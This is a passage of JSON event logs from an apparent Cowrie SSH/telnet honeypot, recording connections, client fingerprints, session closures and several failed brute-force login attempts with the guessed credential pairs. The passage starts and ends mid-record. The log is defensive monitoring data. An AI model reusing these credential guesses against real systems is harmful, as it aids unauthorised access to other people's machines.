","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:04.374324Z","src_ip":"200.118.150.20","session":"4e612b598678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"lkjhgfdsa","message":"login attempt [admin/lkjhgfdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:04.781707Z","src_ip":"200.118.150.20","session":"4e612b598678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42400,"dst_ip":"159.203.135.109","dst_port":23,"session":"376b6f90603a","protocol":"telnet","message":"New connection: 161.97.105.174:42400 (159.203.135.109:23) [session: 376b6f90603a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:04.946846Z"}
{"eventid":"cowrie.session.closed","duration":30.537803649902344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:05.228409Z","src_ip":"161.97.105.174","session":"aa0adb2e09ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42404,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbfd7980f4f9","protocol":"telnet","message":"New connection: 161.97.105.174:42404 (159.203.135.109:23) [session: dbfd7980f4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:05.654258Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:05.874866Z","src_ip":"200.118.150.20","session":"4e612b598678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41606,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a3ba2910c76","protocol":"telnet","message":"New connection: 161.97.105.174:41606 (159.203.135.109:23) [session: 7a3ba2910c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:09.617221Z"}
{"eventid":"cowrie.session.closed","duration":33.401928186416626,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:13.057047Z","src_ip":"161.97.105.174","session":"245541bbc4db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41610,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d7e6da2af72","protocol":"telnet","message":"New connection: 161.97.105.174:41610 (159.203.135.109:23) [session: 0d7e6da2af72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:14.033804Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41618,"dst_ip":"159.203.135.109","dst_port":23,"session":"60e8fc4385bd","protocol":"telnet","message":"New connection: 161.97.105.174:41618 (159.203.135.109:23) [session: 60e8fc4385bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:15.597646Z"}
{"eventid":"cowrie.session.closed","duration":34.97304320335388,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:16.338834Z","src_ip":"161.97.105.174","session":"d82341a962e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41624,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f2d168d11ea","protocol":"telnet","message":"New connection: 161.97.105.174:41624 (159.203.135.109:23) [session: 8f2d168d11ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:16.721649Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55512,"dst_ip":"159.203.135.109","dst_port":23,"session":"6840fdedadf9","protocol":"telnet","message":"New connection: 161.97.105.174:55512 (159.203.135.109:23) [session: 6840fdedadf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:21.064483Z"}
{"eventid":"cowrie.session.closed","duration":33.45807409286499,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:22.299990Z","src_ip":"161.97.105.174","session":"7b9c64de82aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759527444839478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:22.473323Z","src_ip":"161.97.105.174","session":"2d1732cb1f5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":51716,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddb9516463c5","protocol":"ssh","message":"New connection: 152.32.130.174:51716 (10.17.0.5:22) [session: ddb9516463c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:24.220827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:24.225529Z","src_ip":"152.32.130.174","session":"ddb9516463c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:24.443722Z","src_ip":"152.32.130.174","session":"ddb9516463c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":40410,"dst_ip":"10.17.0.5","dst_port":22,"session":"baf7a7a644f6","protocol":"ssh","message":"New connection: 154.219.100.220:40410 (10.17.0.5:22) [session: baf7a7a644f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:24.611128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:24.616479Z","src_ip":"154.219.100.220","session":"baf7a7a644f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:24.822288Z","src_ip":"154.219.100.220","session":"baf7a7a644f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"testftp2024","message":"login attempt [testftp/testftp2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:25.346005Z","src_ip":"152.32.130.174","session":"ddb9516463c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1","message":"login attempt [root/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:25.670461Z","src_ip":"154.219.100.220","session":"baf7a7a644f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":55524,"dst_ip":"159.203.135.109","dst_port":23,"session":"09f1ee7ea79c","protocol":"telnet","message":"New connection: 161.97.105.174:55524 (159.203.135.109:23) [session: 09f1ee7ea79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:26.516356Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:26.566859Z","src_ip":"152.32.130.174","session":"ddb9516463c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:26.879114Z","src_ip":"154.219.100.220","session":"baf7a7a644f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52604,"dst_ip":"159.203.135.109","dst_port":23,"session":"287060c72457","protocol":"telnet","message":"New connection: 161.97.105.174:52604 (159.203.135.109:23) [session: 287060c72457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:29.456963Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":40928,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04eef0eaa90","protocol":"ssh","message":"New connection: 202.125.94.71:40928 (10.17.0.5:22) [session: b04eef0eaa90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:29.476601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:29.489862Z","src_ip":"202.125.94.71","session":"b04eef0eaa90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:29.749104Z","src_ip":"202.125.94.71","session":"b04eef0eaa90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tsserver","password":"tsserver","message":"login attempt [tsserver/tsserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:30.822574Z","src_ip":"202.125.94.71","session":"b04eef0eaa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.2971248626709,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:30.942528Z","src_ip":"161.97.105.174","session":"bd3dec80415c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52610,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae0e6514094a","protocol":"telnet","message":"New connection: 161.97.105.174:52610 (159.203.135.109:23) [session: ae0e6514094a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:31.372671Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:32.088437Z","src_ip":"202.125.94.71","session":"b04eef0eaa90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.88914132118225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:32.589995Z","src_ip":"161.97.105.174","session":"ac1ba27856d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52618,"dst_ip":"159.203.135.109","dst_port":23,"session":"92e46c2add7c","protocol":"telnet","message":"New connection: 161.97.105.174:52618 (159.203.135.109:23) [session: 92e46c2add7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:34.805432Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.104.214.119","src_port":49560,"dst_ip":"10.17.0.5","dst_port":23,"session":"76cb2cbc6e77","protocol":"telnet","message":"New connection: 42.104.214.119:49560 (10.17.0.5:23) [session: 76cb2cbc6e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:35.254090Z"}
{"eventid":"cowrie.session.closed","duration":32.39680504798889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:37.343510Z","src_ip":"161.97.105.174","session":"376b6f90603a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24721145629883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:37.510932Z","src_ip":"161.97.105.174","session":"166d20188894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.82079553604126,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:38.474946Z","src_ip":"161.97.105.174","session":"dbfd7980f4f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40142,"dst_ip":"159.203.135.109","dst_port":23,"session":"191708b85d01","protocol":"telnet","message":"New connection: 161.97.105.174:40142 (159.203.135.109:23) [session: 191708b85d01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:40.370030Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40152,"dst_ip":"159.203.135.109","dst_port":23,"session":"57fed531f7c9","protocol":"telnet","message":"New connection: 161.97.105.174:40152 (159.203.135.109:23) [session: 57fed531f7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:42.001405Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40160,"dst_ip":"159.203.135.109","dst_port":23,"session":"446c85ca4804","protocol":"telnet","message":"New connection: 161.97.105.174:40160 (159.203.135.109:23) [session: 446c85ca4804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:42.189440Z"}
{"eventid":"cowrie.session.closed","duration":32.795512199401855,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:42.412631Z","src_ip":"161.97.105.174","session":"7a3ba2910c76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51742,"dst_ip":"10.17.0.5","dst_port":22,"session":"967655dfe757","protocol":"ssh","message":"New connection: 193.32.162.145:51742 (10.17.0.5:22) [session: 967655dfe757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:43.420943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:43.425743Z","src_ip":"193.32.162.145","session":"967655dfe757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:43.529613Z","src_ip":"193.32.162.145","session":"967655dfe757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doge","password":"doge","message":"login attempt [doge/doge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:43.841417Z","src_ip":"193.32.162.145","session":"967655dfe757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:44.947659Z","src_ip":"193.32.162.145","session":"967655dfe757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.80422830581665,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:47.837929Z","src_ip":"161.97.105.174","session":"0d7e6da2af72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.953513383865356,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:48.207468Z","src_ip":"42.104.214.119","session":"76cb2cbc6e77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89793825149536,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:48.495437Z","src_ip":"161.97.105.174","session":"60e8fc4385bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":39322,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9dfb2fdda90","protocol":"telnet","message":"New connection: 161.97.105.174:39322 (159.203.135.109:23) [session: c9dfb2fdda90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:50.096250Z"}
{"eventid":"cowrie.session.closed","duration":34.95664048194885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:51.678162Z","src_ip":"161.97.105.174","session":"8f2d168d11ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.89444541931152,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:53.958825Z","src_ip":"161.97.105.174","session":"6840fdedadf9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":4142,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfc7d0502ba2","protocol":"ssh","message":"New connection: 220.247.224.226:4142 (159.203.135.109:22) [session: dfc7d0502ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:57.681221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:24:57.685375Z","src_ip":"220.247.224.226","session":"dfc7d0502ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 